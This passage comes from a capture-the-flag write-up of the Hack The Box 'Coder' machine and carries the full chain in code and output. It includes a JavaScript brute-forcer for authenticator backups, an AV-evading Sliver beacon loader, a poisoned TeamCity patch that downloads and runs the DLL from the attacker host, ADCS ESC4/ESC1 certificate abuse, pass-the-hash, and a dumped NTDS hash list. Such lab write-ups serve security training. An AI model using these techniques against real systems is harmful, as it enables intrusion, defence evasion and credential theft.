if (!backupData[hash].secret) {<br>      continue;<br>    }<br>    if (backupData[hash].encrypted &amp;&amp; !passphrase) {<br>      continue;<br>    }<br>    if (backupData[hash].encrypted &amp;&amp; passphrase) {<br>      try {<br>        backupData[hash].secret = CryptoJS.AES.decrypt(<br>          backupData[hash].secret,<br>          passphrase<br>        ).toString(CryptoJS.enc.Utf8);<br>        backupData[hash].encrypted = false;<br>      } catch (error) {<br>        continue;<br>      }<br>    }<br>    // backupData[hash].secret may be empty after decrypt with wrong<br>    // passphrase<br>    if (!backupData[hash].secret) {<br>      continue;<br>    }<br>    decryptedbackupData[hash] = backupData[hash];<br>  }<br>  return decryptedbackupData;<br>}</pre><p>Brute Force the password</p><p>The decryptBackupData function gave me the idea to write a password cracker. So let&#39;s try that.</p><p>Brute Force the password</p><p>The decryptBackupData function gave me the idea to write a password cracker. So let&#39;s try that.</p><p>I’m going to brute force the password for this encrypted backup. I could potentially try to crack that Argon2 hash, but that would be really slow. Alternatively, I can try to do two AES decryptions, and that won’t be slow at all.</p><p>So earlier I exported my TOTP for testing purposes, and now we can first try if I can get the Master Key just by passing the correct encryption password (no brute forcing yet!). So I wrote a little JS script to do this.</p><pre>const fs = require(&quot;fs&quot;);<br>const CryptoJS = require(&quot;crypto-js&quot;);<br>const { argv } = require(&quot;process&quot;);<br>let fileContent = JSON.parse(fs.readFileSync(fileContentPath).toString());<br>let guid = Object.keys(fileContent)[0];<br>let totp_secret = fileContent[guid].secret;<br>let enc_key = fileContent[&quot;key&quot;].enc;<br>console.log(&quot;TOTP Secret: &quot; + totp_secret);<br>console.log(&quot;Encrypted Key: &quot; + enc_key);<br>let key = CryptoJS.AES.decrypt(enc_key, &#39;pass&#39;).toString();<br>let totp = CryptoJS.AES.decrypt(totp_secret, key).toString(CryptoJS.enc.Utf8);<br>console.log(&quot;\nMasterKey: &quot; + totp);</pre><p>First we need to decrypt our encryption key. I defined the encryption key during the backup process and in this case it is just pass&#39;. Now we should try to decrypt theTOTP SecretorMaster Key`. Lets see the result.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ node authenticator_cracker.js test authenticator.json<br>TOTP Secret: U2FsdGVkX1/hMpbRcrCiz1VNeKBoPBX7Qk2GqlxNRmW2384OAhvoOeBj6iXjdMNI<br>Encrypted Key: U2FsdGVkX1+Zh0PAvpVLRop9B7cOohHOZeK7XWX4yBVO9zNdWkBMbV7c+jxiX6MlSyQPqbLRZyxImX7ni+OblqkgFEVjZyUBuzHWXRay08upA1DAhkLhe/5jtpqe7t9YOcTb8ATfe9xTGVhqFn7DICQBODtPj4n4lKkiOF/rP8tHlo1LBUiQ8gNHvkB/BfzN</pre><pre>MasterKey: VulnLabBetterThanHTB</pre><p>Great, the script actually worked, we have the decrypted ‘master key’ and now I have to add the brute force part to the script and then we are ready to go.</p><pre>const fs = require(&quot;fs&quot;);<br>const CryptoJS = require(&quot;crypto-js&quot;);<br>const { argv } = require(&quot;process&quot;);<br>function readFileContent(fileContentPath) {<br>    const fileContent = JSON.parse(fs.readFileSync(fileContentPath).toString());<br>    const guid = Object.keys(fileContent)[0];<br>    const totpSecret = fileContent[guid].secret;<br>    const encKey = fileContent[&quot;key&quot;].enc;<br>    return { totpSecret, encKey };<br>}<br>function bruteforceEncKey(word, encKey, totpSecret) {<br>    try {<br>        const key = CryptoJS.AES.decrypt(encKey, word).toString();<br>        const totp = CryptoJS.AES.decrypt(totpSecret, key).toString(CryptoJS.enc.Utf8);<br>        if (totp.length &gt; 15) {<br>            console.log(&quot;---------------------------&quot;);<br>            console.log(&quot;Encryption Key: &quot; + word);<br>            console.log(&quot;MasterKey: &quot; + totp);<br>            console.log(&quot;---------------------------&quot;);<br>            process.exit(0);<br>        }<br>    } catch {<br>        //console.log(&quot;Failed to decrypt with key: &quot; + word);<br>        return;<br>    }<br>}<br>function main() {<br>    const wordlistPath = argv[2];<br>    const fileContentPath = argv[3];<br>    if (!wordlistPath || !fileContentPath) {<br>        console.log(&quot;Usage: node authenticator_cracker.js &lt;wordlist&gt; &lt;authenticator.json&gt;&quot;);<br>        process.exit(1);<br>    }<br>    const { totpSecret, encKey } = readFileContent(fileContentPath);<br>    const wordlist = fs.readFileSync(wordlistPath).toString().split(&quot;\n&quot;);<br>    wordlist.forEach((word) =&gt; {<br>        bruteforceEncKey(word, encKey, totpSecret);<br>    });<br>}<br>main();</pre><p>So i improved the script a bit and now it looks great and is ready to use. I use rockyout.txtas wordlist. And after a few seconds we got the Master Key. Great</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ node authenticator_cracker.js /usr/share/wordlists/rockyou.txt sblade_authenticator.json <br>---------------------------<br>Encryption Key: skyblade<br>MasterKey: PM2CG6RO73QT74WS<br>---------------------------</pre><p>Login</p><p>Now I just used the skyblade encryption key and imported the backup file into my Authenticator plugin. Now we can login and enter the TOTP we got from the plugin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/0*30sTHPY03lVeblW5" /></figure><p>But unfortunately I got an error that my TOTP was not valid. After a bit of research I found out that this is due to my computer clock. My computer clock needs to be synchronized with the AD time to get a correct TOTP.</p><pre>This has been observed when the appliance or the user device/App and their correct time/time zone are not in sync. TOTP is an algorithm that computes a one-time password from a shared secret key(this is done in the form of a QRCode) and the current time. Therefore, it is very important to make sure that the SMA/UTM appliances and the end user devices/Apps are set to the right time and date.</pre><p>So I just updated my clock to the server time with ntpdate.</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ sudo ntpdate `box`<br>2023-12-27 01:54:05.614635 (+0100) +15123.630695 +/- 0.020358 10.129.229.190 s1 no-leap<br>CLOCK: time stepped by 15123.630695</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AEZyDwXSQVyrUYn3" /></figure><p>Great, now we are logged into the TeamCity CI/CDand i just started to find out how i can get code execution on the dc01agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pg6SHaEG7wMdroNP" /></figure><p>In the log message we see <em>Hello World</em>, so this is probably running the hello-world.ps1 script in the Migrations share.</p><p>Personal Build</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/0*FRy8JGu4UhE0w87x" /></figure><p>“run as personal” build sounds very interesting, lets check the Jetbrains documentation and see what this is.</p><pre>A personal build is a build-out of the common build sequence which typically uses the changes not yet committed into the version control. Personal builds are usually initiated from one of the [supported IDEs](https://www.jetbrains.com/help/teamcity/supported-platforms-and-environments.html#Remote+Run+and+Pre-tested+Commit) via the [Remote Run](https://www.jetbrains.com/help/teamcity/remote-run.html) procedure. You can also upload a patch with changes directly to the server, as described [below](https://www.jetbrains.com/help/teamcity/personal-build.html#Direct+Patch+Upload).</pre><p>So based on that we can just upload a patch and the patch will be executed on the server. So I just fired up sliver and generated a beacon as shell code. As we want to be exited (not trigger the AV) im going to generate a loader with ScareCrow.</p><p><em>Generating the Sliver shellcode</em></p><pre>sliver &gt; generate beacon --http 10.10.14.137 --seconds 5 --jitter 3 --os windows --arch x64 --format shellcode -G --skip-symbols<br><br>[*] Generating new windows/amd64 beacon implant binary (5s)<br>[!] Symbol obfuscation is disabled<br>[*] Build completed in 3s<br>[!] Shikata ga nai encoder is disabled<br>[*] Implant saved to /home/ar0x/Desktop/HTB/Machines/Coder/PLANNED_MIGRANT.bin</pre><p><em>Generating the Loader</em></p><pre>┌──(ar0x㉿kali)-[~/Tools/DefenseEvasion/ScareCrow]<br>└─$ ./ScareCrow -I ~/Desktop/HTB/Machines/Coder/PETITE_POIGNANCE.bin -domain coder.htb -Loader dll<br><br>  _________                           _________<br> /   _____/ ____ _____ _______   ____ \_   ___ \_______  ______  _  __<br> \_____  \_/ ___\\__  \\_  __ \_/ __ \/    \  \/\_  __ \/  _ \ \/ \/ /<br> /        \  \___ / __ \|  | \/\  ___/\     \____|  | \(  &lt;_&gt; )     /<br>/_______  /\___  &gt;____  /__|    \___  &gt;\______  /|__|   \____/ \/\_/<br>        \/     \/     \/            \/        \/<br>                                                        (@Tyl0us)<br>        “Fear, you must understand is more than a mere obstacle.<br>        Fear is a TEACHER. the first one you ever had.”<br><br>[!] Missing Garble... Downloading it now<br>[*] Encrypting Shellcode Using ELZMA Encryption<br>[+] Shellcode Encrypted<br>[+] Patched ETW Enabled<br>[+] Patched AMSI Enabled<br>[+] Sleep Timer set for 2633 milliseconds<br>[*] Creating an Embedded Resource File<br>[+] Created Embedded Resource File With sechost&#39;s Properties<br>[*] Compiling Payload<br>[+] Payload Compiled<br>[*] Signing sechost.dll With a Fake Cert<br>[+] Signed File Created<br>[!] Sha256 hash of sechost.dll: d813ce0e9976871dacf124eb19ab744a3a8ba3e4806cd57cd8e96ca5104a1828<br>[+] DLL Compiled<br>[!] Note: Loading a dll (with Rundll32 or Regsvr32) that has the same name as a valid system DLL will cause problems, in this case its best to change the name slightly</pre><p>Great, now we have our Loader and we are ready to go. Now we just need to create the patch and file and upload it to the server to get access to the server.</p><pre>wget 10.10.14.137:8000/combase.dll -O C:\Windows\Temp\combase.dll; rundll32.exe C:\Windows\Temp\combase.dll,DllRegisterServer</pre><p>I changed the write-host &quot;Hello, World!&quot; to the new payload and generated a patch file with git diff.</p><pre>┌──(ar0x㉿kali)-[~/…/Machines/Coder/Migrations/teamcity_test_repo]<br>└─$ git diff hello_world.ps1<br>diff --git a/hello_world.ps1 b/hello_world.ps1<br>index 09724d2..cd3a2d1 100644<br>--- a/hello_world.ps1<br>+++ b/hello_world.ps1<br>@@ -1,2 +1,2 @@<br> #Simple repo test for Teamcity pipeline<br>-write-host &quot;Hello, World!&quot;<br>+wget 10.10.14.137:8000/combase.dll -O C:\Windows\Temp\combase.dll; rundll32.exe C:\Windows\Temp\combase.dll,DllRegisterServer</pre><p>So now all we need to do is upload the patch file and wait for sliver to get a callback from the server.</p><pre>[*] Beacon bc711cd7 PLANNED_MIGRANT - 10.129.229.190:60617 (dc01) - windows/amd64 - Wed, 27 Dec 2023 03:09:09 CET</pre><p>So we can see that we got a session as svc_teamcity</p><pre>sliver (ESTIMATED_CULTIVATOR) &gt; whoami<br><br>Logon ID: CODER\svc_teamcity<br>[*] Current Token ID: CODER\svc_teamcity<br>sliver (ESTIMATED_CULTIVATOR) &gt;</pre><h3>Privilege Escalation as e.black</h3><h4>Shell as e.black</h4><p>Recover the Secure String</p><p>After a lot time enumrating i found he the folder that saved our patches. We can see that 101.changes.diff is from 2022 and the rest of patches are these that i uploaded on the server.</p><pre>PS C:\ProgramData\JetBrains\TeamCity\system\changes&gt; ls<br>ls<br>Directory: C:\ProgramData\JetBrains\TeamCity\system\changes<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----        11/8/2022   2:18 PM           1707 101.changes.diff<br>-a----       12/26/2023   5:45 PM            247 201.changes.diff<br>-a----       12/26/2023   5:48 PM            247 202.changes.diff<br>-a----       12/26/2023   5:48 PM            334 203.changes.diff<br>-a----       12/26/2023   5:58 PM            323 204.changes.diff<br>-a----       12/26/2023   5:58 PM            323 205.changes.diff<br>-a----       12/26/2023   6:00 PM            323 206.changes.diff<br>-a----       12/26/2023   6:03 PM            323 207.changes.diff<br>-a----       12/26/2023   6:07 PM            323 208.changes.diff<br>-a----       12/26/2023   6:10 PM            323 209.changes.diff<br>-a----       12/26/2023   6:18 PM            333 210.changes.diff<br>-a----       12/26/2023   6:18 PM            333 211.changes.diff</pre><p><em>Content of 101.changes.diff</em></p><pre>diff --git a/enc.txt b/enc.txt<br>new file mode 100644<br>index 0000000..d352634<br>--- /dev/null<br>+++ b/enc.txt<br>@@ -0,0 +1,2 @@<br>+76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN<br>+AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==<br>diff --git a/key.key b/key.key<br>new file mode 100644<br>index 0000000..a6285ed<br>--- /dev/null<br>+++ b/key.key<br>@@ -0,0 +1,32 @@<br>+144<br>+255<br>+52<br>+33<br>+65<br>+190<br>+44<br>+106<br>+131<br>+60<br>+175<br>+129<br>+127<br>+179<br>+69<br>+28<br>+241<br>+70<br>+183<br>+53<br>+153<br>+196<br>+10<br>+126<br>+108<br>+164<br>+172<br>+142<br>+119<br>+112<br>+20<br>+122</pre><p>Looking at this, I noticed that it was a Powershell Secure String and its pretty easy to get the decrypted password since we have the key.</p><p>So I just copied the diff file to my machine and with git apply I just extracted and saved the change to my machine.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ git apply diff.git<br><br>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ ls<br>   rwxr-xr-x   3   ar0x   ar0x      4 KiB   Tue Dec 26 18:47:53 2023    authenticator_cracker/<br>   rwxr-xr-x   2   ar0x   ar0x      4 KiB   Tue Dec 26 12:11:20 2023    Decrypted/<br>   rwxr-xr-x   7   ar0x   ar0x      4 KiB   Wed Dec 27 02:15:57 2023    Migrations/<br>   rwxr-xr-x   2   ar0x   ar0x      4 KiB   Tue Dec 26 10:39:10 2023    Temporary Projects/<br>   rw-r--r--   1   ar0x   ar0x      9 MiB   Wed Dec 27 03:16:27 2023    combase.dll<br>   rw-r--r--   1   ar0x   ar0x    840 B     Wed Dec 27 04:03:50 2023    diff.git<br>   rw-r--r--   1   ar0x   ar0x    450 B     Wed Dec 27 04:04:41 2023    enc.txt<br>   rwx------   1   ar0x   ar0x     10 MiB   Wed Dec 27 03:15:21 2023    ESTIMATED_CULTIVATOR.bin<br>   rw-r--r--   1   ar0x   ar0x    117 B     Wed Dec 27 04:04:41 2023    key.key<br>   rw-r--r--   1   ar0x   ar0x     44 KiB   Wed Dec 27 02:56:19 2023    nc.exe<br>   rw-r--r--   1   root   root      3 KiB   Tue Dec 26 10:29:28 2023    nmap<br>   rw-r--r--   1   ar0x   ar0x    620 B     Tue Dec 26 12:23:09 2023    sblade_authenticator.json</pre><p>So now should start pwsh on kali and start decrypting the Secure String. First we have to read and store the key and then we have to read the Secure String and create a Secure String object from it and then we have to create a PSCredential object with the created Secure String object. Finally the GetNetworkCredential() function will return the clear text password.</p><pre>┌──(ar0x㉿kali)-[/home/ar0x/Desktop/HTB/Machines/Coder]<br>└─PS&gt; $key = Get-Content ./key.key<br><br>┌──(ar0x㉿kali)-[/home/ar0x/Desktop/HTB/Machines/Coder]<br>└─PS&gt; $pass = (Get-Content ./enc.txt | ConvertTo-SecureString -Key $key);<br><br>┌──(ar0x㉿kali)-[/home/ar0x/Desktop/HTB/Machines/Coder]<br>└─PS&gt; $cred = New-Object -TypeName System.Management.Automation.PSCredential (&quot;coder.htb/e.black&quot;,$pass);<br><br>┌──(ar0x㉿kali)-[/home/ar0x/Desktop/HTB/Machines/Coder]<br>└─PS&gt; $cred.GetNetworkCredential().Password<br>ypOSJXPqlDOxxbQSfEERy300</pre><p>Check the Credentials</p><p>So let us test if we can log in with the new password we found as e.black.</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ netexec smb coder.htb -u &#39;e.black&#39; -p &#39;ypOSJXPqlDOxxbQSfEERy300&#39;<br>SMB         10.129.229.190  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)<br>SMB         10.129.229.190  445    DC01             [+] coder.htb\e.black:ypOSJXPqlDOxxbQSfEERy300</pre><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ netexec winrm coder.htb -u &#39;e.black&#39; -p &#39;ypOSJXPqlDOxxbQSfEERy300&#39;<br>SMB         10.129.229.190  445    DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:coder.htb)<br>WINRM       10.129.229.190  5985   DC01             [+] coder.htb\e.black:ypOSJXPqlDOxxbQSfEERy300 (Pwn3d!)</pre><p>Very nice, the password worked and now we can use evil-winrm to get PSSessionas e.black on the system. After getting shell, we also get our first flag. NICE!</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ evil-winrm -i coder.htb -u e.black -p &#39;ypOSJXPqlDOxxbQSfEERy300&#39;<br>Evil-WinRM shell v3.4<br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\e.black\Documents&gt; cat ../Desktop/user.txt<br>6312dec89306308a3a983b2acf13a9b0</pre><h3>Privilege Escalation</h3><h4>Shell as Administrator</h4><p>Enumeration</p><p>So let us enumerate e.black. Oh very interesting, e.black is in the PKI Admins group. This group is used for `ADCS certificate and template management&#39;.</p><p>Note: PKI Admins is not a default group. This is a custom group created in a corporate environment for specific administrative purposes related to PKI.</p><pre>*Evil-WinRM* PS C:\Users\e.black\Documents&gt; net user e.black<br>User name                    e.black<br>Full Name                    Erron Black<br>Comment<br>User&#39;s comment<br>Country/region code          000 (System Default)<br>Account active               Yes<br>Account expires              NeverPassword last set            11/7/2022 11:40:31 AM<br>Password expires             Never<br>Password changeable          11/8/2022 11:40:31 AM<br>Password required            Yes<br>User may change password     No<br>Workstations allowed         All<br>Logon script<br>User profile<br>Home directory<br>Last logon                   11/8/2022 2:05:01 PM<br>Logon hours allowed          All<br>Local Group Memberships      *Remote Management Use<br>Global Group memberships     *Domain Users         *PKI Admins<br>The command completed successfully.<br></pre><pre>*Evil-WinRM* PS C:\Users\e.black\Documents&gt; net group &quot;PKI Admins&quot;<br>Group name     PKI Admins<br>Comment        ADCS Certificate and Template Managemen<br>Members<br>-------------------------------------------------------------------------------<br>e.black<br>The command completed successfully.</pre><p>This means that we can manage the hole PKI. So the attack path is clear, create a vulnerable certificate template and then abuse it.</p><p>Vulnerable Template</p><p>To create certificate templates without GUI, we need a tool called <a href="https://github.com/GoateePFE/ADCSTemplate">ADCSTemplate</a>.</p><pre>A PowerShell module for exporting, importing, removing, permissioning, publishing Active Directory Certificate Templates. It also includes a DSC resource for creating AD CS templates using these functions. This was built with the intent of using DSC for rapid lab builds, but it could also be used in production environments to move templates between AD CS environments.</pre><p>So I just uploaded the script to the machine and imported the module.</p><p>Actually the attack path we want to implement is ESC4 -&gt; ESC1 which means we have control over a certificate template (ESC4) and then we can modify it and set the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x00000001) bitmask for the msPKI-Certificate-Name-Flag property. (ESC1)</p><pre>*Evil-WinRM* PS C:\Users\e.black\Documents&gt; Export-ADCSTemplate -displayName Computer &gt; computer.json<br>*Evil-WinRM* PS C:\Users\e.black\Documents&gt; $computer = cat computer.json -raw | ConvertFrom-Json<br>*Evil-WinRM* PS C:\Users\e.black\Documents&gt; $computer.&#39;msPKI-Certificate-Name-Flag&#39; = 0x1<br>*Evil-WinRM* PS C:\Users\e.black\Documents&gt; $computer | ConvertTo-Json | Set-Content computer-mod-esc1.json<br>*Evil-WinRM* PS C:\Users\e.black\Documents&gt; New-ADCSTemplate -DisplayName &quot;Computer-ESC1&quot; -Publish -JSON (cat computer-mod-esc1.json -raw)<br>*Evil-WinRM* PS C:\Users\e.black\Documents&gt; Set-ADCSTemplateACL -DisplayName &quot;Computer-ESC1&quot; -type allow -identity &#39;coder\e.black&#39; -enroll</pre><p>The fist step to that, is exporting a current certificate template, in this case i exported the Comptuer certificate. Than i read and saved the the certifiacte in json format in a variable. Now we can set the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT for msPKI-Certificate-Name-Flag property. Technically we are done, we have to just publish the certificate and allow e.black to enroll to this certificate.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ certipy-ad find -username e.black@coder.htb -password &#39;ypOSJXPqlDOxxbQSfEERy300&#39; -json -vulnerable<br>Certipy v4.7.0 - by Oliver Lyak (ly4k)<br>[*] Finding certificate templates<br>[*] Found 35 certificate templates<br>[*] Finding certificate authorities<br>[*] Found 1 certificate authority<br>[*] Found 13 enabled certificate templates<br>[*] Trying to get CA configuration for &#39;coder-DC01-CA&#39; via CSRA<br>[!] Got error while trying to get CA configuration for &#39;coder-DC01-CA&#39; via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.<br>[*] Trying to get CA configuration for &#39;coder-DC01-CA&#39; via RRP<br>[*] Got CA configuration for &#39;coder-DC01-CA&#39;<br>[*] Saved JSON output to &#39;20231227051420_Certipy.json&#39;</pre><p>If we have done everything correctly, certipy should now show us Computer-ESC1as a vulnerable certificate template.</p><pre>{<br>  &quot;Certificate Authorities&quot;: {<br>    &quot;0&quot;: {<br>      &quot;CA Name&quot;: &quot;coder-DC01-CA&quot;,<br>      &quot;DNS Name&quot;: &quot;dc01.coder.htb&quot;,<br>      &quot;Certificate Subject&quot;: &quot;CN=coder-DC01-CA, DC=coder, DC=htb&quot;,<br>      &quot;Certificate Serial Number&quot;: &quot;2180F0D10CFECB9840260D0730724BDF&quot;,<br>      &quot;Certificate Validity Start&quot;: &quot;2022-06-29 03:51:44+00:00&quot;,<br>      &quot;Certificate Validity End&quot;: &quot;2052-06-29 04:01:44+00:00&quot;,<br>      &quot;Web Enrollment&quot;: &quot;Disabled&quot;,<br>      &quot;User Specified SAN&quot;: &quot;Disabled&quot;,<br>      &quot;Request Disposition&quot;: &quot;Issue&quot;,<br>      &quot;Enforce Encryption for Requests&quot;: &quot;Enabled&quot;,<br>      &quot;Permissions&quot;: {<br>        &quot;Owner&quot;: &quot;CODER.HTB\\Administrators&quot;,<br>        &quot;Access Rights&quot;: {<br>          &quot;1&quot;: [<br>            &quot;CODER.HTB\\Administrators&quot;,<br>            &quot;CODER.HTB\\Domain Admins&quot;,<br>            &quot;CODER.HTB\\Enterprise Admins&quot;<br>          ],<br>          &quot;2&quot;: [<br>            &quot;CODER.HTB\\Administrators&quot;,<br>            &quot;CODER.HTB\\Domain Admins&quot;,<br>            &quot;CODER.HTB\\Enterprise Admins&quot;<br>          ],<br>          &quot;512&quot;: [<br>            &quot;CODER.HTB\\Authenticated Users&quot;<br>          ]<br>        }<br>      }<br>    }<br>  },<br>  &quot;Certificate Templates&quot;: {<br>    &quot;0&quot;: {<br>      &quot;Template Name&quot;: &quot;Computer-ESC1&quot;,<br>      &quot;Display Name&quot;: &quot;Computer-ESC1&quot;,<br>      &quot;Certificate Authorities&quot;: [<br>        &quot;coder-DC01-CA&quot;<br>      ],<br>      &quot;Enabled&quot;: true,<br>      &quot;Client Authentication&quot;: true,<br>      &quot;Enrollment Agent&quot;: false,<br>      &quot;Any Purpose&quot;: false,<br>      &quot;Enrollee Supplies Subject&quot;: true,<br>      &quot;Certificate Name Flag&quot;: [<br>        &quot;EnrolleeSuppliesSubject&quot;<br>      ],<br>      &quot;Enrollment Flag&quot;: [<br>        &quot;AutoEnrollment&quot;<br>      ],<br>      &quot;Extended Key Usage&quot;: [<br>        &quot;Server Authentication&quot;,<br>        &quot;Client Authentication&quot;<br>      ],<br>      &quot;Requires Manager Approval&quot;: false,<br>      &quot;Requires Key Archival&quot;: false,<br>      &quot;Authorized Signatures Required&quot;: 0,<br>      &quot;Validity Period&quot;: &quot;1 year&quot;,<br>      &quot;Renewal Period&quot;: &quot;6 weeks&quot;,<br>      &quot;Minimum RSA Key Length&quot;: 2048,<br>      &quot;Permissions&quot;: {<br>        &quot;Enrollment Permissions&quot;: {<br>          &quot;Enrollment Rights&quot;: [<br>            &quot;CODER.HTB\\Erron Black&quot;<br>          ]<br>        },<br>        &quot;Object Control Permissions&quot;: {<br>          &quot;Owner&quot;: &quot;CODER.HTB\\Erron Black&quot;,<br>          &quot;Full Control Principals&quot;: [<br>            &quot;CODER.HTB\\Domain Admins&quot;,<br>            &quot;CODER.HTB\\Local System&quot;,<br>            &quot;CODER.HTB\\Enterprise Admins&quot;<br>          ],<br>          &quot;Write Owner Principals&quot;: [<br>            &quot;CODER.HTB\\Domain Admins&quot;,<br>            &quot;CODER.HTB\\Local System&quot;,<br>            &quot;CODER.HTB\\Enterprise Admins&quot;<br>          ],<br>          &quot;Write Dacl Principals&quot;: [<br>            &quot;CODER.HTB\\Domain Admins&quot;,<br>            &quot;CODER.HTB\\Local System&quot;,<br>            &quot;CODER.HTB\\Enterprise Admins&quot;<br>          ],<br>          &quot;Write Property Principals&quot;: [<br>            &quot;CODER.HTB\\Domain Admins&quot;,<br>            &quot;CODER.HTB\\Local System&quot;,<br>            &quot;CODER.HTB\\Enterprise Admins&quot;<br>          ]<br>        }<br>      },<br>      &quot;[!] Vulnerabilities&quot;: {<br>        &quot;ESC1&quot;: &quot;&#39;CODER.HTB\\\\Erron Black&#39; can enroll, enrollee supplies subject and template allows client authentication&quot;,<br>        &quot;ESC4&quot;: &quot;Template is owned by CODER.HTB\\Erron Black&quot;<br>      }<br>    }<br>  }<br>}</pre><p>And yes, it does. Nice, we are almost domain admin. Now all we have to do is abuse this certificate. Now we have to request a certificate in the name of ‘administrator’ and if this succeeds we will get a pfx file. After getting the `pfx&#39; file we can log in to the domain as the administrator.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ certipy-ad req -username e.black@coder.htb -password &#39;ypOSJXPqlDOxxbQSfEERy300&#39; -ca coder-DC01-CA -target coder.htb -template &quot;Computer-ESC1&quot; -upn &quot;administrator@coder.htb&quot;<br>Certipy v4.7.0 - by Oliver Lyak (ly4k)<br><br>[*] Requesting certificate via RPC<br>[*] Successfully requested certificate<br>[*] Request ID is 19<br>[*] Got certificate with UPN &#39;administrator@coder.htb&#39;<br>[*] Certificate has no object SID<br>[*] Saved certificate and private key to &#39;administrator.pfx&#39;</pre><p>So we impersonated the certificate and successfully got the `pfx&#39; file, and now we should just use that for authentication.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ certipy-ad auth -pfx administrator.pfx -domain coder.htb -ns `box`<br>Certipy v4.7.0 - by Oliver Lyak (ly4k)<br><br>[*] Using principal: administrator@coder.htb<br>[*] Trying to get TGT...<br>[*] Got TGT<br>[*] Saved credential cache to &#39;administrator.ccache&#39;<br>[*] Trying to retrieve NT hash for &#39;administrator&#39;<br>[*] Got hash for &#39;administrator@coder.htb&#39;: aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7</pre><p>Voila, we have the NTLM hash of the domain admin and here we have our root flag.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ evil-winrm -u administrator -H 807726fcf9f188adc26eeafd7dc16bb7 -i coder.htb<br><br>Evil-WinRM shell v3.4<br><br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br><br>Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br><br>Info: Establishing connection to remote endpoint<br><br>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; cat ../Desktop/root.txt<br>3f100e76d55d9d847a41013adcece6bb</pre><p>And also a dump of the NTDS.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ secretsdump.py coder.htb/administrator@coder.htb -hashes :807726fcf9f188adc26eeafd7dc16bb7 -just-dc-ntlm<br>Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation<br><br>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<br>[*] Using the DRSUAPI method to get NTDS.DIT secrets<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26000ce1f6ca4029ec5d3a95631e797c:::<br>coder.htb\e.black:1106:aad3b435b51404eeaad3b435b51404ee:e1b96bbb66a073787a3310b5a956200d:::<br>coder.htb\c.cage:1107:aad3b435b51404eeaad3b435b51404ee:3ab6e9f70dbc0d19623be042d224b993:::<br>coder.htb\j.briggs:1108:aad3b435b51404eeaad3b435b51404ee:e38976c0b20e3e41e9c62da792115a33:::<br>coder.htb\l.kang:1109:aad3b435b51404eeaad3b435b51404ee:b8aba4878e4777864b292731ac88b4cd:::<br>coder.htb\s.blade:1110:aad3b435b51404eeaad3b435b51404ee:4e4a79beed7d042627d0a7b10f5d008a:::<br>coder.htb\svc_teamcity:5101:aad3b435b51404eeaad3b435b51404ee:4c5a6890e09834a6834dbf7a76bf20cb:::<br>DC01$:1000:aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94:::<br>[*] Cleaning up...</pre><p>I appreciate your time spent exploring this technical blog. My goal was to deliver practical insights in an easy-to-understand manner. If you have any questions or need further clarification on any of the topics covered, feel free to connect with me through <a 